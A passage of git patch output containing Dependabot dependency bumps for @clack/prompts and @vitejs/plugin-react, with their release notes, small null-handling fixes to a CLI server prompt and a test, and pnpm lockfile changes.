charset=UTF-8 Content-Transfer-Encoding: 8bit Bumps [@clack/prompts](https://github.com/bombshell-dev/clack/tree/HEAD/packages/prompts) from 0.11.0 to 1.7.0.
Release notes

Sourced from @​clack/prompts's releases.

@​clack/prompts@​1.7.0

Minor Changes

  • #574 8f1c380 Thanks @​dreyfus92! - Add showInstructions option to select, multiselect, and groupMultiselect. Keyboard hints remain shown by default; pass showInstructions: false to hide them.

Patch Changes

@​clack/prompts@​1.6.0

Minor Changes

  • #568 f87933f Thanks @​florian-lefebvre! - Updates default formatter of note() to note dim lines anymore

    If you want the old behavior, provide a format() function:

    import { note } from '@clack/prompts';
+import { styleText } from 'node:util';

    note(
'You can edit the file src/index.jsx',
'Next steps.'
    

      

    • { format: (text) => styleText('dim', text) }
);

  • #567 cc6aab5 Thanks @​dreyfus92! - Add keyboard instruction footers to select, multiselect, and groupMultiselect in the active state, matching autocomplete. No option — always shown.

    • Patch Changes

    @​clack/prompts@​1.5.1

    Patch Changes

    @​clack/prompts@​1.5.0

    Minor Changes

    ... (truncated)

    Changelog

    Sourced from @​clack/prompts's changelog.

    1.7.0

    Minor Changes

    • #574 8f1c380 Thanks @​dreyfus92! - Add showInstructions option to select, multiselect, and groupMultiselect. Keyboard hints remain shown by default; pass showInstructions: false to hide them.

    Patch Changes

    1.6.0

    Minor Changes

    • #568 f87933f Thanks @​florian-lefebvre! - Updates default formatter of note() to note dim lines anymore

      If you want the old behavior, provide a format() function:

      import { note } from '@clack/prompts';
+import { styleText } from 'node:util';

      note(
'You can edit the file src/index.jsx',
'Next steps.'
      

        

      • { format: (text) => styleText('dim', text) }
);

  • #567 cc6aab5 Thanks @​dreyfus92! - Add keyboard instruction footers to select, multiselect, and groupMultiselect in the active state, matching autocomplete. No option — always shown.

    • Patch Changes

    1.5.1

    Patch Changes

    ... (truncated)

    Commits
    Maintainer changes

    This version was pushed to npm by GitHub Actions, a new releaser for @​clack/prompts since your current version.


    [![Dependabot compatibility score](https://dependabot-badges.githubapp.com/badges/compatibility_score?dependency-name=@clack/prompts&package-manager=npm_and_yarn&previous-version=0.11.0&new-version=1.7.0)](https://docs.github.com/en/github/managing-security-vulnerabilities/about-dependabot-security-updates#about-compatibility-scores) Dependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`. [//]: # (dependabot-automerge-start) [//]: # (dependabot-automerge-end) ---
    Dependabot commands and options
    You can trigger Dependabot actions by commenting on this PR: - `@dependabot rebase` will rebase this PR - `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it - `@dependabot show ignore conditions` will show all of the ignore conditions of the specified dependency - `@dependabot ignore this major version` will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself) - `@dependabot ignore this minor version` will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself) - `@dependabot ignore this dependency` will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself)
    --------- Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com> Co-authored-by: Priya Raman Co-authored-by: Paperclip --- cli/package.json | 2 +- cli/src/__tests__/env-lab.test.ts | 4 ++-- cli/src/prompts/server.ts | 8 ++++---- pnpm-lock.yaml | 21 ++------------------- 4 files changed, 9 insertions(+), 26 deletions(-) diff --git a/cli/package.json b/cli/package.json index 9be7fa2c04c..77ce5f6dbc2 100644 --- a/cli/package.json +++ b/cli/package.json @@ -36,7 +36,7 @@ "typecheck": "tsc --noEmit" }, "dependencies": { - "@clack/prompts": "^0.11.0", + "@clack/prompts": "^1.7.0", "@paperclipai/adapter-claude-local": "workspace:*", "@paperclipai/adapter-codex-local": "workspace:*", "@paperclipai/adapter-cursor-cloud": "workspace:*", diff --git a/cli/src/__tests__/env-lab.test.ts b/cli/src/__tests__/env-lab.test.ts index 6afa22660b0..144311a3511 100644 --- a/cli/src/__tests__/env-lab.test.ts +++ b/cli/src/__tests__/env-lab.test.ts @@ -246,8 +246,8 @@ describe("env-lab doctor cleanup hint instance", () => { // `p.log`, so the test replaces each channel and reads the captured lines. function captureDoctorMessages(): string[] { const messages: string[] = []; - vi.spyOn(p.log, "message").mockImplementation((message?: string) => { - messages.push(message ?? ""); + vi.spyOn(p.log, "message").mockImplementation((message?: string | string[]) => { + messages.push(Array.isArray(message) ? message.join("\n") : (message ?? "")); }); vi.spyOn(p.log, "success").mockImplementation(() => {}); vi.spyOn(p.log, "warn").mockImplementation(() => {}); diff --git a/cli/src/prompts/server.ts b/cli/src/prompts/server.ts index 404d4ea5752..bff9e18072e 100644 --- a/cli/src/prompts/server.ts +++ b/cli/src/prompts/server.ts @@ -84,7 +84,7 @@ export async function promptServer(opts?: { : "dotta-macbook-pro, host.docker.internal", validate: (val) => { try { - parseHostnameCsv(val); + parseHostnameCsv(val ?? ""); return; } catch (err) { return err instanceof Error ? err.message : "Invalid hostname list"; @@ -156,7 +156,7 @@ export async function promptServer(opts?: { defaultValue: defaultHost, placeholder: defaultHost, validate: (val) => { - if (!val.trim()) return "Host is required"; + if (!val || !val.trim()) return "Host is required"; if (deploymentMode === "local_trusted" && !isLoopbackHost(val.trim())) { return "Local trusted mode requires a loopback host such as 127.0.0.1"; } @@ -173,7 +173,7 @@ export async function promptServer(opts?: { placeholder: "dotta-macbook-pro, your-host.tailnet.ts.net", validate: (val) => { try { - parseHostnameCsv(val); + parseHostnameCsv(val ?? ""); return; } catch (err) { return err instanceof Error ? err.message : "Invalid hostname list"; @@ -192,7 +192,7 @@ export async function promptServer(opts?: { defaultValue: currentAuth?.publicBaseUrl ?? "", placeholder: "https://paperclip.example.com", validate: (val) => { - const candidate = val.trim(); + const candidate = val?.trim() ?? ""; if (!candidate) return "Public base URL is required for public exposure"; try { const url = new URL(candidate); diff --git a/pnpm-lock.yaml b/pnpm-lock.yaml index 62115b057fb..bc73d4d1142 100644 --- a/pnpm-lock.yaml +++ b/pnpm-lock.yaml @@ -50,8 +50,8 @@ importers: cli: dependencies: '@clack/prompts': - specifier: ^0.11.0 - version: 0.11.0 + specifier: ^1.7.0 + version: 1.7.0 '@paperclipai/adapter-claude-local': specifier: workspace:* version: link:../packages/adapters/claude-local @@ -1578,16 +1578,10 @@ packages: '@chevrotain/types@11.1.2': resolution: {integrity: sha512-U+HFai5+zmJCkK86QsaJtoITlboZHBqrVketcO2ROv865xfCMSFpELQoz1GkX5GzME8pTa+3kbKrZHQtI0gdbw==} - '@clack/core@0.5.0': - resolution: {integrity: sha512-p3y0FIOwaYRUPRcMO7+dlmLh8PSRcrjuTndsiA0WAFbWES0mLZlrjVoBRZ9DzkPFJZG6KGkJmoEAY0ZcVWTkow==} - '@clack/core@1.4.3': resolution: {integrity: sha512-/kr3UWNtdJfxZtPgDqUOmG2pvwlmcLGheex5yiZKdwbzZJxhV+HMNR9QNmyY5cGwTNV6LrR7Jtp+KjhUAP1qBQ==} engines: {node: '>= 20.12.0'} - '@clack/prompts@0.11.0': - resolution: {integrity: sha512-pMN5FcrEw9hUkZA4f+zLlzivQSeQf5dRGJjSUbvVYDLvpKCdQx5OaknvKzgbtXOizhP+SJJJjqEbOe55uKKfAw==} - '@clack/prompts@1.7.0': resolution: {integrity: sha512-y7/yvZ2TPAnR9+jnc00klvNNLkJiXFFrQA/hlLCcxA9a2A4zQIOimyFQ9XfwYKiGD1fb5GY8vbKIIgO8d5Tb2A==} engines: {node: '>= 20.12.0'} @@ -9791,22 +9785,11 @@ snapshots: '@chevrotain/types@11.1.2': {} - '@clack/core@0.5.0': - dependencies: - picocolors: 1.1.1 - sisteransi: 1.0.5 - '@clack/core@1.4.3': dependencies: fast-wrap-ansi: 0.2.2 sisteransi: 1.0.5 - '@clack/prompts@0.11.0': - dependencies: - '@clack/core': 0.5.0 - picocolors: 1.1.1 - sisteransi: 1.0.5 - '@clack/prompts@1.7.0': dependencies: '@clack/core': 1.4.3 From 733ffbf7c3e24942138d1d610494d7b22945918c Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Thu, 20 Aug 2026 16:23:26 -0700 Subject: [PATCH 5/8] build(deps-dev): bump @vitejs/plugin-react from 4.7.0 to 6.0.5 (#11710) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Bumps [@vitejs/plugin-react](https://github.com/vitejs/vite-plugin-react/tree/HEAD/packages/plugin-react) from 4.7.0 to 6.0.5.
    Release notes

    Sourced from @​vitejs/plugin-react's releases.

    plugin-react@6.0.5

    Fixed the react compiler preset filter to be linear (#1353)

    The improved filter in v6.0.3 was non-linear and caused a performance regression (#1349). The filter was changed to be linear to avoid that.

    plugin-react@6.0.4

    Fixed $RefreshSig$ is not defined error when running vite dev with NODE_ENV=production

    When running vite dev with NODE_ENV=production, the app errored with $RefreshSig$ is not defined. This error is now fixed.

    plugin-react@6.0.3

    No release notes provided.

    plugin-react@6.0.2

    Allow all options in reactCompilerPreset (#1189)

    This is a type only change. Only compilationMode and target options were available for reactCompilerPreset.

    plugin-react@6.0.1

    Expand @rolldown/plugin-babel peer dep range (#1146)

    Expanded @rolldown/plugin-babel peer dep range to include ^0.2.0.

    plugin-react@6.0.0

    Remove Babel Related Features (#1123)

    Vite 8+ can handle React Refresh Transform by Oxc and doesn't need Babel for it. With that, there are no transform applied that requires Babel. To reduce the installation size of this plugin, babel is no longer a dependency of this plugin and the related features are removed.

    If you are using Babel, you can use @rolldown/plugin-babel together with this plugin:

     import { defineConfig } from 'vite'
 import react from '@vitejs/plugin-react'
+import babel from '@rolldown/plugin-babel'

    export default defineConfig({
plugins: [
    

      

    • 

      react({

      

      • 

    • 

        babel: {

      

      • 

    • 

          plugins: ['@babel/plugin-proposal-throw-expressions'],

      

      • 

    • 

        },

      

      • 

    • 

      }),

      

      • 

    

      

    • 

      react(),

      

      • 

    • 

      babel({

      

      • 

    • 

        plugins: ['@babel/plugin-proposal-throw-expressions'],

      

      • 

    • 

      }),

      
]
})

    ... (truncated)

    Changelog

    Sourced from @​vitejs/plugin-react's changelog.

    6.0.5 (2026-07-30)

    Fixed the react compiler preset filter to be linear (#1353)

    The improved filter in v6.0.3 was non-linear and caused a performance regression (#1349). The filter was changed to be linear to avoid that.

    6.0.4 (2026-07-22)

    Fixed $RefreshSig$ is not defined error when running vite dev with NODE_ENV=production

    When running vite dev with NODE_ENV=production, the app errored with $RefreshSig$ is not defined. This error is now fixed.

    6.0.3 (2026-06-23)

    Improve the react compiler preset filter to reduce false-positives (#1138)

    Improved the filter in the react compiler babel preset to reduce the false-positives so that less modules are processed by the react compiler.

    6.0.2 (2026-05-14)

    Allow all options in reactCompilerPreset (#1189)

    This is a type only change. Only compilationMode and target options were available for reactCompilerPreset.

    6.0.1 (2026-03-13)

    Expand @rolldown/plugin-babel peer dep range (#1146)

    Expanded @rolldown/plugin-babel peer dep range to include ^0.2.0.

    6.0.0 (2026-03-12)

    6.0.0-beta.0 (2026-03-03)

    Remove Babel Related Features (#1123)

    Vite 8+ can handle React Refresh Transform by Oxc and doesn't need Babel for it. With that, there are no transform applied that requires Babel. To reduce the installation size of this plugin, babel is no longer a dependency of this plugin and the related features are removed.

    If you are using Babel, you can use @rolldown/plugin-babel together with this plugin:

     import { defineConfig } from 'vite'
 import react from '@vitejs/plugin-react'
+import babel from '@rolldown/plugin-babel'

    export default defineConfig({
plugins: [
    

      

    • 

      react({

      

      • 

    • 

        babel: {

      

      • 

    

    </tr></table>

    ... (truncated)

    Commits
    • 68c0cb8 release: plugin-react@6.0.5 (#1362)
    • 555cdbc fix(react): make the react compiler preset filter linear (#1353)
    • a00a9f8 fix(deps): update all non-major dependencies (#1327)
    • f4b5498 release: plugin-react@6.0.4
    • 7a40659 fix(react): $RefreshSig$ is not defined with NODE_ENV=production vite dev ...
    • 98b32d4 fix(deps): update react 19.2.8 (#1298)
    • 8ae5449 fix: babel-plugin-react-compiler cannot be imported when used in a framework ...
    • f09ea01 fix(deps): update all non-major dependencies (#1282)
    • 640fd35 release: plugin-react@6.0.3
    • 889efb0 fix(deps): update all non-major dependencies (#1249)
    • Additional commits viewable in compare view
    Maintainer changes

    This version was pushed to npm by GitHub Actions, a new releaser for @​vitejs/plugin-react since your current version.


    --------- Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com> Co-authored-by: Priya Raman Co-authored-by: Paperclip --- pnpm-lock.yaml | 264 +++++++----------------------------------------- ui/package.json | 2 +- 2 files changed, 37 insertions(+), 229 deletions(-) diff --git a/pnpm-lock.yaml b/pnpm-lock.yaml index bc73d4d1142..1440620d747 100644 --- a/pnpm-lock.yaml +++ b/pnpm-lock.yaml @@ -1065,8 +1065,8 @@ importers: specifier: ^19.2.4 version: 19.2.4(@types/react@19.2.18) '@vitejs/plugin-react': - specifier: ^4.3.4 - version: 4.7.0(vite@6.4.3(@types/node@22.20.1)(jiti@2.7.0)(lightningcss@1.32.0)(tsx@4.23.12)) + specifier: ^5.2.0 + version: 5.2.0(vite@6.4.3(@types/node@22.20.1)(jiti@2.7.0)(lightningcss@1.32.0)(tsx@4.23.12)) storybook: specifier: 10.5.5 version: 10.5.5(@types/react@19.2.18)(react@19.2.8) @@ -1302,76 +1302,42 @@ packages: resolution: {integrity: sha512-sl4Bm6yiMNYrZKkqqDFWN0UfnWhlS8ivKxrYl+6t0gCLrqr8y3B2IqZZbFRkfaVVp7C/baApyh71P+LeE1A2sQ==} engines: {node: '>=18.0.0'} - '@babel/code-frame@7.29.0': - resolution: {integrity: sha512-9NhCeYjq9+3uxgdtp20LSiJXJvN0FeCtNGpJxuMFZ1Kv3cWUNb6DOhJwUvcVCzKGR66cw4njwM6hrJLqgOwbcw==} - engines: {node: '>=6.9.0'} - '@babel/code-frame@7.29.7': resolution: {integrity: sha512-Aup7aUOfpbAUg2ROOJN6Iw5f9DMBlzu0mIkm/malLQFN/YQgO48wCj0Kxa3sEHJvPVFg7siR+qRInwXd2qhQKw==} engines: {node: '>=6.9.0'} - '@babel/compat-data@7.29.0': - resolution: {integrity: sha512-T1NCJqT/j9+cn8fvkt7jtwbLBfLC/1y1c7NtCeXFRgzGTsafi68MRv8yzkYSapBnFA6L3U2VSc02ciDzoAJhJg==} - engines: {node: '>=6.9.0'} - '@babel/compat-data@7.29.7': resolution: {integrity: sha512-locTkQyKvwIEgBzVrn8693ebc97F2U8ZHjbXwDXJ5Fn2TCpNwTlKcaKLkdHop5c/icOFE7qt7Q9JC5hnKNa6Gg==} engines: {node: '>=6.9.0'} - '@babel/core@7.29.0': - resolution: {integrity: sha512-CGOfOJqWjg2qW/Mb6zNsDm+u5vFQ8DxXfbM09z69p5Z6+mE1ikP2jUXw+j42Pf1XTYED2Rni5f95npYeuwMDQA==} - engines: {node: '>=6.9.0'} - '@babel/core@7.29.7': resolution: {integrity: sha512-RgHBCvtjbOK2gXSNBNIkNoEc9qoVEtau3hj8gEqKQuL3HZAibKarWFEI3Lfm6EYKkLalOh8eSrj9b+ch9H/VBA==} engines: {node: '>=6.9.0'} - '@babel/generator@7.29.1': - resolution: {integrity: sha512-qsaF+9Qcm2Qv8SRIMMscAvG4O3lJ0F1GuMo5HR/Bp02LopNgnZBC/EkbevHFeGs4ls/oPz9v+Bsmzbkbe+0dUw==} - engines: {node: '>=6.9.0'} - '@babel/generator@7.29.8': resolution: {integrity: sha512-gZbepsdh3WDtgZKWL+vTPh71LSBrm/Y4/QDZBVCcYfmeTEEuoOYwlSy+G1StfJg+/Zy550u/3TATbm7qDbbMtg==} engines: {node: '>=6.9.0'} - '@babel/helper-compilation-targets@7.28.6': - resolution: {integrity: sha512-JYtls3hqi15fcx5GaSNL7SCTJ2MNmjrkHXg4FSpOA/grxK8KwyZ5bubHsCq8FXCkua6xhuaaBit+3b7+VZRfcA==} - engines: {node: '>=6.9.0'} - '@babel/helper-compilation-targets@7.29.7': resolution: {integrity: sha512-wem6WaBj4NaVYVdNhLPPVacES6ZJ+KBBfSkTMD3YZxbP3rm3Di85tJU5ljaUNhaOynt+Aj0xruhYuzQBt8n71g==} engines: {node: '>=6.9.0'} - '@babel/helper-globals@7.28.0': - resolution: {integrity: sha512-+W6cISkXFa1jXsDEdYA8HeevQT/FULhxzR99pxphltZcVaugps53THCeiWA8SguxxpSp3gKPiuYfSWopkLQ4hw==} - engines: {node: '>=6.9.0'} - '@babel/helper-globals@7.29.7': resolution: {integrity: sha512-3nQVUAtvkKH9zahfWgw96Jc/uFOmjACE1kQz82E2lqWmHBgjzbNlsC22nuQTfahmWeQtTq5nQ/4Nnd2A1wj4zA==} engines: {node: '>=6.9.0'} - '@babel/helper-module-imports@7.28.6': - resolution: {integrity: sha512-l5XkZK7r7wa9LucGw9LwZyyCUscb4x37JWTPz7swwFE/0FMQAGpiWUZn8u9DzkSBWEcK25jmvubfpw2dnAMdbw==} - engines: {node: '>=6.9.0'} - '@babel/helper-module-imports@7.29.7': resolution: {integrity: sha512-ejHwrQQYcm9xnTivShn2IDOlIzInN34AXskvq9QicvCtEzq1Vzclu/tKF8Jq1Cg8JG2GL6/EmjgsCT7lXepE3g==} engines: {node: '>=6.9.0'} - '@babel/helper-module-transforms@7.28.6': - resolution: {integrity: sha512-67oXFAYr2cDLDVGLXTEABjdBJZ6drElUSI7WKp70NrpyISso3plG9SAGEF6y7zbha/wOzUByWWTJvEDVNIUGcA==} - engines: {node: '>=6.9.0'} - peerDependencies: - '@babel/core': ^7.0.0 - '@babel/helper-module-transforms@7.29.7': resolution: {integrity: sha512-UPUVSyXbOh627KiCIGQSgwWzGeBKLkaJ9PJEdrngIwMSzxLR4jS4+f1f1jb7VzBbg8nFLaYotvVPFCTqdrmTAg==} engines: {node: '>=6.9.0'} peerDependencies: '@babel/core': ^7.0.0 - '@babel/helper-plugin-utils@7.28.6': - resolution: {integrity: sha512-S9gzZ/bz83GRysI7gAD4wPT/AI3uCnY+9xn+Mx/KPs2JwHJIz1W8PZkg2cqyt3RNOBM8ejcXhV6y8Og7ly/Dug==} + '@babel/helper-plugin-utils@7.29.7': + resolution: {integrity: sha512-G7sHYigPY17oO5SYWnfD/0MTBwVR781S/JI643e/JhUYgVgWE/61SoW3NH9KWUKyKq5LVh3npif99Wkt6j86Jw==} engines: {node: '>=6.9.0'} '@babel/helper-string-parser@7.27.1': @@ -1390,40 +1356,27 @@ packages: resolution: {integrity: sha512-qehxGkRj55h/ff8EMaJ+cYhyaKlHIxqYDn682wQD7RNp9UujOQsHog2uS0r2vzr4pW+sXf90NeeayjcNaX3fFg==} engines: {node: '>=6.9.0'} - '@babel/helper-validator-option@7.27.1': - resolution: {integrity: sha512-YvjJow9FxbhFFKDSuFnVCe2WxXk1zWc22fFePVNEaWJEu8IrZVlda6N0uHwzZrUM1il7NC9Mlp4MaJYbYd9JSg==} - engines: {node: '>=6.9.0'} - '@babel/helper-validator-option@7.29.7': resolution: {integrity: sha512-N9ZErrD+yW5geCDtBqnOoxmR8+tNKiGuxKlDpuJxfsqpa2dFcexaziGAE/qoHLiDDreVNMupxGmSoNlyvsA3gw==} engines: {node: '>=6.9.0'} - '@babel/helpers@7.28.6': - resolution: {integrity: sha512-xOBvwq86HHdB7WUDTfKfT/Vuxh7gElQ+Sfti2Cy6yIWNW05P8iUslOVcZ4/sKbE+/jQaukQAdz/gf3724kYdqw==} - engines: {node: '>=6.9.0'} - '@babel/helpers@7.29.7': resolution: {integrity: sha512-1k2lAGRMfHTcwuNYcCNUmaUffmQv8KWMfh2iJUUeRlwlwH4FdNG7mfPI10NPfLHJFThE4Tyr4mv7kTNZOiPuBg==} engines: {node: '>=6.9.0'} - '@babel/parser@7.29.0': - resolution: {integrity: sha512-IyDgFV5GeDUVX4YdF/3CPULtVGSXXMLh1xVIgdCgxApktqnQV0r7/8Nqthg+8YLGaAtdyIlo2qIdZrbCv4+7ww==} - engines: {node: '>=6.0.0'} - hasBin: true - '@babel/parser@7.29.8': resolution: {integrity: sha512-E8lTAYNB1KW+FH+VGJuZM1ioAx2E6oVlvQFRrf5P8ZZmsiJXYAD9vTFV7yyEURNzgh1dFqMZuO6tUwcARbqFCA==} engines: {node: '>=6.0.0'} hasBin: true - '@babel/plugin-transform-react-jsx-self@7.27.1': - resolution: {integrity: sha512-6UzkCs+ejGdZ5mFFC/OCUrv028ab2fp1znZmCZjAOBKiBK2jXD1O+BPSfX8X2qjJ75fZBMSnQn3Rq2mrBJK2mw==} + '@babel/plugin-transform-react-jsx-self@7.29.7': + resolution: {integrity: sha512-TL0hMc9xzy86VD31nUiwzd5otRAcyEPcsegCxolO0PvcXuH1v0kECe/UIznYFihpkvU5wg/jk4v0TTEFfm53fw==} engines: {node: '>=6.9.0'} peerDependencies: '@babel/core': ^7.0.0-0 - '@babel/plugin-transform-react-jsx-source@7.27.1': - resolution: {integrity: sha512-zbwoTsBruTeKB9hSq73ha66iFeJHuaFkUbwvqElnygoNbj/jHRsSeokowZFN3CZ64IvEqcmmkVe89OPXc7ldAw==} + '@babel/plugin-transform-react-jsx-source@7.29.7': + resolution: {integrity: sha512-06IyK09H3wi4cGbhDBwp5gUGo0IKtnYa8tyTiephirPCK6fbobVGiXMMI5zLQ4aKEYP3wZ3ArU44o+8KMrSG/Q==} engines: {node: '>=6.9.0'} peerDependencies: '@babel/core': ^7.0.0-0 @@ -1432,18 +1385,10 @@ packages: resolution: {integrity: sha512-Nq8OhGWiZIZGV6hLHoyAKLLcJihP/xFeBMGJoUrxTX2psI8dCifzLhZISFb+VWS3wFMRDmCGw5R+dOySCqPLhw==} engines: {node: '>=6.9.0'} - '@babel/template@7.28.6': - resolution: {integrity: sha512-YA6Ma2KsCdGb+WC6UpBVFJGXL58MDA6oyONbjyF/+5sBgxY/dwkhLogbMT2GXXyU84/IhRw/2D1Os1B/giz+BQ==} - engines: {node: '>=6.9.0'} - '@babel/template@7.29.7': resolution: {integrity: sha512-puq+Gf35oI24FeN11LkoUQFqv9uwNeWpxXZi/Ji3rRIoKAzKnxRaZ+Gkj0vKS9ZCiTESfng1N9LyOyXvo+m+Gg==} engines: {node: '>=6.9.0'} - '@babel/traverse@7.29.0': - resolution: {integrity: sha512-4HPiQr0X7+waHfyXPZpWPfWL/J7dcN1mx9gL6WdQVMbPnF3+ZhSMs8tCxN7oHddJE9fhNE7+lxdnlyemKfJRuA==} - engines: {node: '>=6.9.0'} - '@babel/traverse@7.29.8': resolution: {integrity: sha512-I5z7H3bf/41ktsNVLtpN0wAa336HkqIHQ5BuPLEhTkt1jVSyZpeNKIzTgEWmlxjdg81R0IgUCcaE+Ok3NvrfZg==} engines: {node: '>=6.9.0'} @@ -4753,8 +4698,8 @@ packages: peerDependencies: react: ^19.2.8 - '@rolldown/pluginutils@1.0.0-beta.27': - resolution: {integrity: sha512-+d0F4MKMCbeVUJwG96uQ4SgAznZNSq93I3V+9NHA4OpvqG8mRCpGdKmK8l/dl02h2CCDHwW2FqilnTyDcAnqjA==} + '@rolldown/pluginutils@1.0.0-rc.3': + resolution: {integrity: sha512-eybk3TjzzzV97Dlj5c+XrBFW57eTNhzod66y9HrBlzJ6NsCrWCp/2kaPS3K9wJmurBC0Tdw4yPjXKZqlznim3Q==} '@rollup/plugin-node-resolve@16.0.3': resolution: {integrity: sha512-lUYM3UBGuM93CnMPG1YocWu7X802BrNF3jW2zny5gQyLQgRFJhV1Sq0Zi74+dh/6NBx1DxFC4b4GXg9wUCG5Qg==} @@ -5562,11 +5507,11 @@ packages: '@upsetjs/venn.js@2.0.0': resolution: {integrity: sha512-WbBhLrooyePuQ1VZxrJjtLvTc4NVfpOyKx0sKqioq9bX1C1m7Jgykkn8gLrtwumBioXIqam8DLxp88Adbue6Hw==} - '@vitejs/plugin-react@4.7.0': - resolution: {integrity: sha512-gUu9hwfWvvEDBBmgtAowQCojwZmJ5mcLn3aufeCsitijs3+f2NsrPtlAWIR6OPiqljl96GVCUbLe0HyqIpVaoA==} - engines: {node: ^14.18.0 || >=16.0.0} + '@vitejs/plugin-react@5.2.0': + resolution: {integrity: sha512-YmKkfhOAi3wsB1PhJq5Scj3GXMn3WvtQ/JC0xoopuHoXSdmtdStOpFrYaT1kie2YgFBcIe64ROzMYRjCrYOdYw==} + engines: {node: ^20.19.0 || >=22.12.0} peerDependencies: - vite: ^4.2.0 || ^5.0.0 || ^6.0.0 || ^7.0.0 + vite: ^4.2.0 || ^5.0.0 || ^6.0.0 || ^7.0.0 || ^8.0.0 '@vitest/expect@3.2.4': resolution: {integrity: sha512-Io0yyORnB6sikFlt8QW5K7slY4OjqNX9jmJQ02QDda8lyM6B5oNgVWoSoKPac8/kgnCUzuHQKrSLtu/uOqqrig==} @@ -5859,10 +5804,6 @@ packages: engines: {node: '>=6.0.0'} hasBin: true - baseline-browser-mapping@2.9.19: - resolution: {integrity: sha512-ipDqC8FrAl/76p2SSWKSI+H9tFwm7vYqXQrItCuiVPt26Km0jS+NzSsBWAaBusvSbQcfJG+JitdMm+wZAgTYqg==} - hasBin: true - bcrypt-pbkdf@1.0.2: resolution: {integrity: sha512-qeFIXtP4MSoi6NLqO12WfqARWWuCKi2Rn/9hJLEmtB5yTNr9DqFWkJRCf2qShWzPeAMRnOgCrq0sg/KLv5ES9w==} @@ -5965,11 +5906,6 @@ packages: resolution: {integrity: sha512-ScQ4IuvIEF1TMlP7Zt+vjJ//9zlPb2SDcxWxM3bk8s6t6GGdJ7KO1dCcTidOPJKePW30LE/2cT7wCyPho9/Wxg==} engines: {node: 20 || >=22} - browserslist@4.28.1: - resolution: {integrity: sha512-ZC5Bd0LgJXgwGqUknZY/vkUQ04r8NXnJZ3yYi4vDmSiZmC/pdSN0NbNRPxZpbtO4uAfDUAFffO8IZoM3Gj8IkA==} - engines: {node: ^6 || ^7 || ^8 || ^9 || ^10 || ^11 || ^12 || >=13.7} - hasBin: true - browserslist@4.28.8: resolution: {integrity: sha512-V2NpofLblG64mfOtSgDhOJESZEGogzDMBv/q+W6oc4LXWP/q75eOXoOaaOu1EOadB9U4Bwx/e0yzbvwKH8zalA==} engines: {node: ^6 || ^7 || ^8 || ^9 || ^10 || ^11 || ^12 || >=13.7} @@ -6015,9 +5951,6 @@ packages: resolution: {integrity: sha512-+ys997U96po4Kx/ABpBCqhA9EuxJaQWDQg7295H4hBphv3IZg0boBKuwYpt4YXp6MZ5AmZQnU/tyMTlRpaSejg==} engines: {node: '>= 0.4'} - caniuse-lite@1.0.30001770: - resolution: {integrity: sha512-x/2CLQ1jHENRbHg5PSId2sXq1CIO1CISvwWAj027ltMVG2UNgW+w9oH2+HzgEIRFembL8bUlXtfbBHR1fCg2xw==} - caniuse-lite@1.0.30001809: resolution: {integrity: sha512-xxWVywk6a6Arlk+hymeycyn/VgqEfLDxupvhH/xiY5SJ/18kmi9o6MiO320DCUzypORHLtvh0I4i04tUhCNHNQ==} @@ -6616,9 +6549,6 @@ packages: ee-first@1.1.1: resolution: {integrity: sha512-WMwm9LhRUo+WUaRN+vRuETqG89IgZphVSNkdFgeb6sS/E4OrDIN7t48CAewSHXc6C8lefD8KKfr5vY61brQlow==} - electron-to-chromium@1.5.286: - resolution: {integrity: sha512-9tfDXhJ4RKFNerfjdCcZfufu49vg620741MNs26a9+bhLThdB+plgMeou98CAaHu/WATj2iHOOHTp1hWtABj2A==} - electron-to-chromium@1.5.409: resolution: {integrity: sha512-ChI4N44d0B4A6C8prnNjMOaGgE59fUyEVYcRYm2XEXIjMbbvF5i9UL1cblDbpGqiU0uS8FE8UcKxqZqTXdmzbQ==} @@ -7764,9 +7694,6 @@ packages: engines: {node: '>= 10.12.0'} hasBin: true - node-releases@2.0.27: - resolution: {integrity: sha512-nmh3lCkYZ3grZvqcCH+fjmQ7X+H0OeZgP40OierEaAptX4XofMh5kwNbWh7lBduUzCcV/8kZ+NDLCwm2iorIlA==} - node-releases@2.0.53: resolution: {integrity: sha512-D9UOmYG3UH1V+ENW56t5QXBwJw1YEY18ruVeus89Rw+SyIgjPkCO84bRzO3uNIYosJbNwiabWVn48o3uJLjxFQ==} engines: {node: '>=18'} @@ -8129,8 +8056,8 @@ packages: '@types/react': '>=18' react: ^19.2.8 - react-refresh@0.17.0: - resolution: {integrity: sha512-z6F7K9bV85EfseRCp2bzrpyQ0Gkw1uLoCel9XBVWPg/TjRj94SkJzUTGfOa4bs7iJvBWtQG0Wq7wnI0syw3EBQ==} + react-refresh@0.18.0: + resolution: {integrity: sha512-QgT5//D3jfjJb6Gsjxv0Slpj23ip+HtOpnNgnb2S5zU3CB26G/IDPGoy4RJB42wzFE46DRsstbW6tKHoKbhAxw==} engines: {node: '>=0.10.0'} react-remove-scroll-bar@2.3.8: @@ -8775,12 +8702,6 @@ packages: resolution: {integrity: sha512-5uKD0nqiYVzlmCRs01Fhs2BdkEgBS3SAVP6ndrBsuK42iC2+JHyxM05Rm9G8+5mkmRtzMZGY8Ct5+mliZxU/Ww==} engines: {node: '>=18.12.0'} - update-browserslist-db@1.2.3: - resolution: {integrity: sha512-Js0m9cx+qOgDxo0eMiFGEueWztz+d4+M3rGlmKPT+T4IS/jP4ylw3Nwpu6cpTTP8R1MAC1kF4VbdLt3ARf209w==} - hasBin: true - peerDependencies: - browserslist: '>= 4.21.0' - update-browserslist-db@1.3.1: resolution: {integrity: sha512-ZZ61DsRsOnakl74HAmp3oSN4aXUmEWXf+i/yv0h7tIBfICc3VdrFErQKUUKPgu3AMsTUMbcongALEN4l6GSUrQ==} hasBin: true @@ -9479,42 +9400,14 @@ snapshots: '@aws/lambda-invoke-store@0.3.0': {} - '@babel/code-frame@7.29.0': - dependencies: - '@babel/helper-validator-identifier': 7.28.5 - js-tokens: 4.0.0 - 